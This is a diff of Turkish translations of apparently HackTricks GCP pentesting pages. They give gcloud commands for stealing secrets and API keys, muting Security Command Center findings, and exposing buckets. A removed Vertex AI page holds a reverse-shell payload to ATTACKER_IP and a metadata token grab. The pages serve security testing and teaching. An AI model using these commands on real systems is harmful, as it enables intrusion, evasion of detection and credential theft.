-Bir konuda bir mesaj yayınlayın, **beklenmedik veriler göndermek** ve beklenmedik işlevleri tetiklemek veya zafiyetleri istismar etmek için faydalıdır:
+Bir topic'e mesaj yayınlamak; **beklenmeyen veri göndermek**, beklenmeyen işlevleri tetiklemek veya güvenlik açıklarından yararlanmak için kullanışlıdır:
+
+
+
+Topic'e mesaj yayınla
```bash
# Publish a message in a topic
gcloud pubsub topics publish --message "Hello!"
```
+
+
### `pubsub.topics.detachSubscription`
-Bir aboneliğin mesaj almasını engellemek için faydalıdır, belki de tespiti önlemek için.
+Bir subscription'ın mesaj almasını engellemek için kullanışlıdır; muhtemelen tespiti önlemek için.
+
+
+
+Subscription'ı topic'ten ayır
```bash
gcloud pubsub topics detach-subscription
```
+
+
### `pubsub.topics.delete`
-Bir aboneliğin mesaj almasını engellemek için faydalıdır, belki de tespiti önlemek için.\
-Bir konuya bağlı abonelikler olsa bile bir konuyu silmek mümkündür.
+Bir subscription'ın mesaj almasını engellemek için kullanışlıdır, muhtemelen tespiti önlemek amacıyla.\
+Bir topic'e bağlı subscription'lar olsa bile topic'i silmek mümkündür.
+
+
+
+Topic sil
```bash
gcloud pubsub topics delete
```
+
+
### `pubsub.topics.update`
-Bu izni, konuyu bozmak için bazı ayarları güncellemek için kullanın, örneğin `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
+Bu izni, konuyu bozmak için `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... gibi ayarları güncellemek için kullanın.
### `pubsub.topics.setIamPolicy`
-Önceki saldırılardan herhangi birini gerçekleştirmek için kendinize izin verin.
+Kendinize önceki saldırılardan herhangi birini gerçekleştirmek için izin verin.
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
Bir web sunucusundaki tüm mesajları alın:
+
+
+
+Mesajları almak için push subscription oluştur
```bash
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create --topic --push-endpoint https://
```
-Bir abonelik oluşturun ve bunu **mesajları çekmek** için kullanın:
+
+
+Bir subscription oluşturun ve bunu **pull messages** almak için kullanın:
+
+
+
+Pull subscription oluşturun ve mesajları alın
```bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create --topic
@@ -54,26 +82,44 @@ gcloud pubsub subscriptions create --topic
gcloud pubsub subscriptions pull
## This command will wait for a message to be posted
```
+
+
### `pubsub.subscriptions.delete`
-**Bir aboneliği silmek**, bir günlük işleme sistemini veya benzeri bir şeyi bozmak için faydalı olabilir:
+**Aboneliği silmek** günlük işleme sistemini veya benzeri bir şeyi bozmak için faydalı olabilir:
+
+
+
+Aboneliği sil
```bash
gcloud pubsub subscriptions delete
```
+
+
### `pubsub.subscriptions.update`
-Bu izni, mesajların erişebileceğiniz bir yerde (URL, Big Query tablosu, Bucket) saklanması için bazı ayarları güncellemek veya sadece bunu bozmak için kullanın.
+Bu izni, mesajların erişebileceğiniz bir yerde (URL, Big Query tablosu, Bucket) saklanmasını sağlamak için bazı ayarları güncellemek veya yalnızca aksatmak amacıyla kullanın.
+
+
+
+Abonelik güncelleme endpoint'i
```bash
gcloud pubsub subscriptions update --push-endpoint
```
+
+
### `pubsub.subscriptions.setIamPolicy`
-Sana daha önce bahsedilen saldırıları gerçekleştirmek için gereken izinleri ver.
+Daha önce bahsedilen saldırılardan herhangi birini gerçekleştirmek için gereken izinleri kendine ver.
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
-Bir şemayı bir konuya ekleyerek mesajların onu karşılamasını engelle ve böylece konuyu boz.\
-Eğer hiç şema yoksa, bir tane oluşturman gerekebilir.
+Mesajların şemayı karşılamaması ve dolayısıyla topic'in aksaması için bir şemayı topic'e ata.\
+Eğer hiç şema yoksa bir tane oluşturman gerekebilir.
+
+
+
+Şema dosyası oluştur ve topic'e ata
```json:schema.json
{
"namespace": "com.example",
@@ -98,23 +144,37 @@ gcloud pubsub topics update projects//topics/ \
--schema=projects//schemas/ \
--message-encoding=json
```
+
+
### `pubsub.schemas.delete`
-Bu, bir şemayı silmek gibi görünebilir, ancak şemaya uymayan mesajlar gönderebileceksiniz. Ancak, şema silineceği için hiçbir mesaj aslında konuya girmeyecek. Bu nedenle bu **ANLAMSIZDIR**:
+Bu, şemayı silerek şemaya uymayan mesajları gönderebileceğiniz izlenimini verebilir. Ancak şema silineceği için hiçbir mesaj aslında topic içine girmeyecektir. Bu yüzden bu **KULLANISIZ**:
+
+
+
+Şemayı sil (yararsız)
```bash
gcloud pubsub schemas delete
```
+
+
### `pubsub.schemas.setIamPolicy`
-Sana daha önce bahsedilen saldırıları gerçekleştirmek için gereken izinleri ver.
+Önceki bahsedilen saldırıların herhangi birini gerçekleştirmek için gerekli izinleri kendinize verin.
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
-Bu, tüm onaylanmamış mesajların bir anlık görüntüsünü oluşturacak ve bunları aboneliğe geri koyacaktır. Bir saldırgan için çok faydalı değil ama burada:
+Bu, tüm unACKed mesajların bir snapshot'ını oluşturacak ve onları aboneliğe geri koyacaktır. Bir saldırgan için çok kullanışlı değil ama işte:
+
+
+
+Snapshot oluştur ve ona seek yap
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
index 9c453f47d..d089c2302 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
@@ -4,7 +4,7 @@
## Secretmanager
-Secret Manager hakkında daha fazla bilgi için kontrol edin:
+Secret Manager hakkında daha fazla bilgi için bakınız:
{{#ref}}
../gcp-services/gcp-secrets-manager-enum.md
@@ -12,9 +12,15 @@ Secret Manager hakkında daha fazla bilgi için kontrol edin:
### `secretmanager.versions.access`
-Bu, gizli yöneticiden sırları okumak için erişim sağlar ve belki de bu, ayrıcalıkları artırmaya yardımcı olabilir (sırın içinde hangi bilgilerin saklandığına bağlı olarak):
+Bu, Secret Manager'daki secret'ları okuma erişimi verir ve içindeki bilgilere bağlı olarak ayrıcalıkları yükseltmeye yardımcı olabilir:
+
+
+
+Secret sürümüne erişim
```bash
# Get clear-text of version 1 of secret: ""
gcloud secrets versions access 1 --secret=""
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md
index ceb177527..30cf4c11a 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md
@@ -1,10 +1,10 @@
-# GCP - Güvenlik Sonrası İstismar
+# GCP - Güvenlik Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Güvenlik
-Daha fazla bilgi için kontrol edin:
+Daha fazla bilgi için bakınız:
{{#ref}}
../gcp-services/gcp-security-enum.md
@@ -12,37 +12,67 @@ Daha fazla bilgi için kontrol edin:
### `securitycenter.muteconfigs.create`
-Bir `muteconfig` oluşturarak bir saldırganı tespit edebilecek bulguların üretilmesini engelleyin:
+Bir `muteconfig` oluşturarak saldırganı tespit edebilecek findings'ların oluşmasını engelleyin:
+
+
+
+Muteconfig Oluştur
```bash
# Create Muteconfig
gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
```
+
+
### `securitycenter.muteconfigs.update`
-Bir `muteconfig` güncelleyerek bir saldırganı tespit edebilecek bulguların üretilmesini engelleyin:
+Bir saldırganı tespit edebilecek bulguların oluşturulmasını bir `muteconfig` güncelleyerek engelleyin:
+
+
+
+Muteconfig Güncelle
```bash
# Update Muteconfig
gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
```
+
+
### `securitycenter.findings.bulkMuteUpdate`
-Bir filtreye dayalı olarak bulguları sustur.
+Filtreye göre bulguları susturma:
+
+
+
+Filtreye göre toplu susturma
```bash
# Mute based on a filter
gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
```
-Susturulmuş bir bulgu SCC panosunda ve raporlarda görünmeyecektir.
+
+
+Sessize alınmış bir finding SCC gösterge tablosunda ve raporlarda görünmez.
### `securitycenter.findings.setMute`
-Kaynağa, bulgulara göre bulguları susturun...
+Kaynağa veya diğer özelliklere göre finding'leri sessize al...
+
+
+
+Finding'i sessize al
```bash
-gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
+gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
```
+
+
### `securitycenter.findings.update`
-Bir bulguyu hatalı bilgiyi belirtmek için güncelleyin:
+Bir bulguyu hatalı bilgi olduğunu belirtmek için güncelle:
+
+
+
+Bulgu durumunu güncelle
```bash
gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
index f8e4ec66b..33ef7790a 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
@@ -1,18 +1,22 @@
-# GCP - Depolama Sonrası İstismar
+# GCP - Storage Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
-## Bulut Depolama
+## Cloud Storage
-Bulut Depolama hakkında daha fazla bilgi için bu sayfayı kontrol edin:
+Cloud Storage hakkında daha fazla bilgi için bu sayfaya bakın:
{{#ref}}
../gcp-services/gcp-storage-enum.md
{{#endref}}
-### Kamu Erişimi Verme
+### Give Public Access
-Dış kullanıcıların (GCP'ye giriş yapmış olsun ya da olmasın) bucket içeriğine erişim vermek mümkündür. Ancak, varsayılan olarak bucket, bir bucket'ı kamuya açma seçeneğini devre dışı bırakacaktır:
+Harici kullanıcılara (GCP'ye giriş yapmış olsun veya olmasın) bucket içeriğine erişim verme mümkündür. Ancak, varsayılan olarak bucket'ın herkese açılma seçeneği devre dışıdır:
+
+
+
+Bucket/objects'i herkese açık yap
```bash
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -25,8 +29,10 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
```
-Eğer **devre dışı bırakılmış ACL'lere sahip bir kovaya ACL vermeye çalışırsanız** bu hatayı bulacaksınız: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
+
-Açık kovaları tarayıcı üzerinden erişmek için, URL'yi `https://.storage.googleapis.com/` veya `https://.storage.googleapis.com/` kullanarak erişin.
+Eğer **ACLs to a bucket with disabled ACLs** vermeye çalışırsanız şu hatayla karşılaşırsınız: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
+
+Tarayıcı üzerinden açık bucket'lara erişmek için şu URL'leri kullanın: `https://.storage.googleapis.com/` veya `https://.storage.googleapis.com/`
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
deleted file mode 100644
index 133257126..000000000
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
+++ /dev/null
@@ -1,113 +0,0 @@
-# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Senaryo
-
-- Vertex AI Model Garden birçok Hugging Face (HF) modelinin doğrudan dağıtımına izin verir.
-- HF model tanımlayıcıları Author/ModelName'dir. Eğer HF'de bir author/org silinirse, aynı yazar adı herhangi birisi tarafından yeniden kayıt edilebilir. Saldırganlar daha sonra eski yol üzerinde aynı ModelName ile bir repo oluşturabilir.
-- Pipelines, SDKs veya yalnızca ada göre (pinning/integrity yok) çekim yapan cloud katalogları saldırgan kontrollü repoyu çeker. Model dağıtıldığında, o repodaki loader code Vertex AI endpoint container içinde çalıştırılabilir ve endpoint’in izinleriyle RCE sağlar.
-
-HF üzerinde iki yaygın takeover durumu:
-- Ownership deletion: Eski yol 404 döner; birisi yazarı yeniden kaydedip aynı ModelName'i yayınlayana kadar.
-- Ownership transfer: HF, eski Author/ModelName'den yeni yazara 307 redirect gönderir. Eğer eski yazar daha sonra silinir ve bir saldırgan tarafından yeniden kaydedilirse, redirect zinciri kırılır ve saldırganın reposu legacy path üzerinde hizmet verir.
-
-## Yeniden Kullanılabilir Namespace'leri Belirleme (HF)
-
-- Eski yazar silinmiş: yazar sayfası 404 döner; model yolu takeover olana kadar 404 dönebilir.
-- Transfer edilmiş modeller: eski model yolu, eski yazar varken yeni sahibine 307 gönderir. Eğer eski yazar daha sonra silinir ve yeniden kayıt olursa, legacy yol saldırganın reposuna çözümlenir.
-
-Hızlı kontroller curl ile:
-```bash
-# Check author/org existence
-curl -I https://huggingface.co/
-# 200 = exists, 404 = deleted/available
-
-# Check old model path behavior
-curl -I https://huggingface.co//
-# 307 = redirect to new owner (transfer case)
-# 404 = missing (deletion case) until someone re-registers
-```
-## Vertex AI'ye Karşı Uçtan Uca Saldırı Akışı
-
-1) Model Garden'ın deployable olarak listelediği yeniden kullanılabilir model namespace'lerini keşfedin:
-- Vertex AI Model Garden'da hala “verified deployable” olarak görünen HF modellerini bulun.
-- HF'de orijinal author'ın silinip silinmediğini veya modelin transfer edilip eski author'ın daha sonra kaldırılıp kaldırılmadığını doğrulayın.
-
-2) Silinmiş author'ı HF'de yeniden kaydedin ve aynı ModelName'i yeniden oluşturun.
-
-3) Kötü amaçlı bir repo yayınlayın. Model load sırasında çalışan kodu ekleyin. HF model load sırasında yaygın olarak çalışan örnekler:
-- Repodaki __init__.py içindeki yan etkiler
-- config/auto_map tarafından referans verilen özel modeling_*.py veya processing code
-- Transformers pipelines içinde trust_remote_code=True gerektiren kod yolları
-
-4) Eski Author/ModelName'e ait bir Vertex AI deployment'ı artık saldırganın reposunu çeker. Yükleyici Vertex AI endpoint konteyneri içinde çalıştırılır.
-
-5) Payload, endpoint ortamından (RCE) endpoint'in izinleriyle erişim sağlar.
-
-import sırasında çalıştırılan örnek payload parçası (sadece gösterim amaçlı):
-```python
-# Place in __init__.py or a module imported by the model loader
-import os, socket, subprocess, threading
-
-def _rs(host, port):
-s = socket.socket(); s.connect((host, port))
-for fd in (0,1,2):
-try:
-os.dup2(s.fileno(), fd)
-except Exception:
-pass
-subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
-
-if os.environ.get("VTX_AI","1") == "1":
-threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
-```
-Notlar
-- Gerçek dünyadaki loader'lar farklılık gösterir. Birçok Vertex AI HF entegrasyonu, modelin config'inde referans verilen repo modüllerini (ör. auto_map) clone edip import eder; bu kod çalıştırmayı tetikleyebilir. Bazı durumlar trust_remote_code=True gerektirir.
-- Endpoint tipik olarak sınırlı kapsamlı özel bir container içinde çalışır, ancak veri erişimi ve GCP'de lateral movement için geçerli bir ilk üs olabilir.
-
-## Post-Exploitation İpuçları (Vertex AI Endpoint)
-
-Kod endpoint container içinde çalışmaya başladıktan sonra şunları göz önünde bulundurun:
-- Kimlik bilgileri/tokenlar için environment variables ve metadata'yı listeleme
-- Bağlı storage veya mount edilmiş model artifact'larına erişim
-- service account identity aracılığıyla Google API'leri ile etkileşim (Document AI, Storage, Pub/Sub, vb.)
-- Platform repo'yu yeniden pull'larsa model artifact içinde persistence
-
-Erişilebilirse instance metadata'yı enumerate edin (container'a bağlı):
-```bash
-curl -H "Metadata-Flavor: Google" \
-http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
-```
-## Vertex AI Kullanıcıları için Savunma Rehberi
-
-- Sessiz değiştirmeyi önlemek için HF loaders içinde modelleri commit'e göre sabitleyin:
-```python
-from transformers import AutoModel
-m = AutoModel.from_pretrained("Author/ModelName", revision="")
-```
-- Onaylanmış HF modellerini güvenilir bir iç artifact store/registry'ye aynalayın ve oradan dağıtın.
-- Kod tabanlarını ve konfigürasyonları, silinmiş/transfer edilmiş hard-coded Author/ModelName için sürekli tarayın; yeni namespace'lere güncelleyin veya commit ile sabitleyin.
-- Model Garden'da, dağıtımdan önce modelin kökenini (provenance) ve author varlığını doğrulayın.
-
-## Tanıma Heuristikleri (HTTP)
-
-- Deleted author: author sayfası 404; legacy model path 404 takeover gerçekleşene kadar.
-- Transferred model: legacy path, eski author varken yeni author'a 307 döner; eğer eski author daha sonra silinir ve yeniden kaydolursa, legacy path attacker içeriği servis eder.
-```bash
-curl -I https://huggingface.co// | egrep "^HTTP|^location"
-```
-## Çapraz Referanslar
-
-- Daha geniş metodoloji ve tedarik zinciri notlarına bakın:
-
-{{#ref}}
-../../pentesting-cloud-methodology.md
-{{#endref}}
-
-## Kaynaklar
-
-- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
-- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md
index a32e1604f..ad205d26f 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md
@@ -4,66 +4,82 @@
## Apikeys
-Aşağıdaki izinler API anahtarları oluşturmak ve çalmak için faydalıdır, belgelerden not edin: _Bir API anahtarı, **bir uygulamayı herhangi bir ilke olmadan tanımlayan** basit bir şifrelenmiş dizedir. Kamu verilerine **anonim olarak erişmek** için faydalıdırlar ve API isteklerini projenizle **kotaya ve faturalandırmaya** bağlamak için kullanılır._
+Aşağıdaki izinler API key oluşturmak ve çalmak için kullanışlıdır, dokümandan bir not: _An API key is a simple encrypted string that **bir principal olmaksızın bir uygulamayı tanımlar**. They are useful for accessing **kamu verilerine anonim olarak erişim** için yararlıdır ve kota ve **faturalama** için API isteklerini projenizle **ilişkilendirmek** için kullanılır._
-Bu nedenle, bir API anahtarı ile o şirketin API kullanımınız için ödeme yapmasını sağlayabilirsiniz, ancak yetkileri yükseltme imkanınız olmayacaktır.
+Therefore, with an API key you can make that company pay for your use of the API, but you won't be able to escalate privileges.
+Bu nedenle, bir API key ile şirketin API kullanımınızın bedelini ödemesini sağlayabilirsiniz, ancak privilege escalation yapamazsınız.
-API Anahtarları hakkında daha fazla bilgi için kontrol edin:
+For more information about API Keys check:
{{#ref}}
../gcp-services/gcp-api-keys-enum.md
{{#endref}}
-API anahtarları oluşturmanın diğer yolları için kontrol edin:
+For other ways to create API keys check:
{{#ref}}
gcp-serviceusage-privesc.md
{{#endref}}
-### Brute Force API Key erişimi
+### Brute Force API Key access
-Proje içinde hangi API'lerin etkin olduğunu veya bulduğunuz API anahtarına uygulanan kısıtlamaları bilmediğiniz için, [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) aracını çalıştırmak ve **API anahtarı ile neleri erişebileceğinizi kontrol etmek** ilginç olacaktır.
+Projede hangi API'lerin etkin olduğunu veya bulduğunuz API key'e hangi kısıtlamaların uygulandığını bilmeyebileceğiniz için [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) aracını çalıştırıp **API key ile nereye erişebileceğinizi** kontrol etmek ilginç olur.
### `apikeys.keys.create`
-Bu izin, **bir API anahtarı oluşturmayı** sağlar:
+Bu izin **bir API key oluşturmayı** sağlar:
+
+
+gcloud kullanarak bir API key oluşturma
```bash
gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
-"etag":"W/\"HOhA[...]==\"",
+"etag":"W/\"HOhA[...]=\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}
```
-Bir [**vuln ortamının oluşturulması, istismar edilmesi ve temizlenmesi için bir scripti burada bulabilirsiniz**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
+
+
+Bu işlemi otomatikleştirmek için bir scripti [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh) adresinde bulabilirsiniz.
> [!CAUTION]
-> Kullanıcıların varsayılan olarak yeni projeler oluşturma izinlerine sahip olduğunu ve yeni projede Sahip rolü verildiğini unutmayın. Bu nedenle bir kullanıcı **bir proje oluşturabilir ve bu projede bir API anahtarı oluşturabilir**.
+> Varsayılan olarak kullanıcıların yeni projeler oluşturma izinlerine sahip olduklarını ve yeni proje üzerinde Owner rolü verildiğini unutmayın. Bu yüzden bir kullanıcı **bir proje oluşturabilir ve bu proje içinde bir API key oluşturabilir**.
### `apikeys.keys.getKeyString` , `apikeys.keys.list`
-Bu izinler **tüm apiKey'leri listeleme ve alma ile anahtarı alma** yetkisi verir:
+Bu izinler **tüm apiKeys'leri listeleme ve Key'i alma** sağlar:
+
+
+Tüm API keys'leri listeleyin ve alın
```bash
for key in $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done
```
-Bir [**vuln ortamının oluşturulması, istismar edilmesi ve temizlenmesi için bir scripti burada bulabilirsiniz**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
+
+
+Otomatikleştirmek için bir scripti [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh) adresinde bulabilirsiniz.
### `apikeys.keys.undelete` , `apikeys.keys.list`
-Bu izinler, **silinmiş api anahtarlarını listelemenize ve yeniden oluşturmanıza** olanak tanır. **API anahtarı,** **undelete** işlemi tamamlandıktan sonra **çıktıda verilir:**
+Bu izinler size **list and regenerate deleted api keys** yapma imkânı sağlar. **undelete** gerçekleştirildikten sonra çıktı olarak **API key is given in the output**:
+
+
+API keys'leri listeleme ve geri alma
```bash
gcloud services api-keys list --show-deleted
gcloud services api-keys undelete
```
-### Diğer çalışanları oltalamak için Dahili OAuth Uygulaması Oluşturun
+
-Bunu nasıl yapacağınızı öğrenmek için aşağıdaki sayfayı kontrol edin, bu eylem **`clientauthconfig`** hizmetine aittir [belgelere göre](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
+### Diğer çalışanları phish etmek için İç OAuth Uygulaması Oluştur
+
+Bunu nasıl yapacağınızı öğrenmek için aşağıdaki sayfayı inceleyin; ancak bu eylem hizmet **`clientauthconfig`** [according to the docs](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
{{#ref}}
../../workspace-security/gws-google-platforms-phishing/
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md
index 998a1b2e8..52cd40f70 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md
@@ -4,7 +4,7 @@
## App Engine
-App Engine hakkında daha fazla bilgi için kontrol edin:
+App Engine hakkında daha fazla bilgi için bakınız:
{{#ref}}
../gcp-services/gcp-app-engine-enum.md
@@ -12,26 +12,34 @@ App Engine hakkında daha fazla bilgi için kontrol edin:
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
-Bunlar, **`gcloud` cli** kullanarak bir Uygulama **dağıtmak** için gereken izinlerdir. Belki **`get`** ve **`list`** olanlar **kaçınılabilir**.
+Bunlar `gcloud` cli kullanarak bir App dağıtmak için gerekli izinlerdir. Belki **`get`** ve **`list`** olanlar **ihmal edilebilir**.
-Python kod örneklerini [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine) adresinde bulabilirsiniz.
+Python kod örneklerini şu adreste bulabilirsiniz: [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
-Varsayılan olarak, Uygulama hizmetinin adı **`default`** olacak ve aynı isimle yalnızca 1 örnek olabilir.\
-Bunu değiştirmek ve ikinci bir Uygulama oluşturmak için, **`app.yaml`** dosyasında kök anahtarın değerini **`service: my-second-app`** gibi bir şeyle değiştirin.
+Varsayılan olarak, App servisinin adı **`default`**, ve aynı ada sahip yalnızca 1 örnek olabilir.\
+Bunu değiştirmek ve ikinci bir App oluşturmak için **`app.yaml`** içinde kök anahtarın değerini şu şekilde değiştirin: **`service: my-second-app`**
+
+
+App Engine uygulamasını dağıt
```bash
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder
```
-En az 10-15 dakika bekleyin, eğer çalışmazsa **birkaç kez daha dağıtım yapın** ve birkaç dakika bekleyin.
+
+
+En az 10–15 dakika verin; işe yaramazsa **deploy another of times** deyip birkaç dakika daha bekleyin.
> [!NOTE]
-> **Kullanılacak Hizmet Hesabını belirtmek mümkündür** ancak varsayılan olarak, App Engine varsayılan SA'sı kullanılır.
+> Kullanılacak **Service Account'u belirtmek** mümkün olsa da varsayılan olarak App Engine'in SA'sı kullanılır.
-Uygulamanın URL'si `https://.oa.r.appspot.com/` veya `https://-dot-.oa.r.appspot.com` gibi bir şeydir.
+Uygulamanın URL'si şu şekilde olur: `https://.oa.r.appspot.com/` veya `https://-dot-.oa.r.appspot.com`
-### Eşdeğer izinleri güncelleyin
+### Eşdeğer izinleri güncelleme
-Bir AppEngine'i güncellemek için yeterli izniniz olabilir ancak yeni bir tane oluşturmak için yeterli izniniz olmayabilir. Bu durumda mevcut App Engine'i güncellemenin yolu şudur:
+Bir AppEngine'i güncellemek için yeterli izniniz olabilir, ancak yeni bir tane oluşturmak için olmayabilir. Bu durumda mevcut App Engine'i şöyle güncelleyebilirsiniz:
+
+
+Mevcut App Engine uygulamasını güncelle
```bash
# Find the code of the App Engine in the buckets
gsutil ls
@@ -62,41 +70,58 @@ gcloud app deploy
# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=@$PROJECT_ID.iam.gserviceaccount.com
```
-Eğer **zaten bir AppEngine'i ele geçirdiyseniz** ve **`appengine.applications.update`** iznine ve kullanmak için hizmet hesabı üzerinde **actAs** iznine sahipseniz, AppEngine tarafından kullanılan hizmet hesabını şu şekilde değiştirebilirsiniz:
+
+
+Eğer **zaten bir AppEngine'i ele geçirdiyseniz** ve kullanmak üzere **`appengine.applications.update`** iznine ve **actAs** yetkisine sahipseniz, AppEngine tarafından kullanılan hizmet hesabını şu şekilde değiştirebilirsiniz:
+
+
+App Engine hizmet hesabını güncelle
```bash
gcloud app update --service-account=@$PROJECT_ID.iam.gserviceaccount.com
```
+
+
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
-Bu izinlerle, **flexible** (standart olmayan) türdeki App Engine örneklerine **ssh ile giriş yapmak** mümkündür. Bazı **`list`** ve **`get`** izinleri **gerçekten gerekli olmayabilir**.
+Bu izinlerle, **flexible** (standart olmayan) türündeki App Engine instance'larına **SSH ile giriş yapmak** mümkün. Bazı **`list`** ve **`get`** izinleri gerçekten gerekli olmayabilir.
+
+
+App Engine instance'ına SSH ile giriş
```bash
gcloud app instances ssh --service --version
```
+
+
### `appengine.applications.update`, `appengine.operations.get`
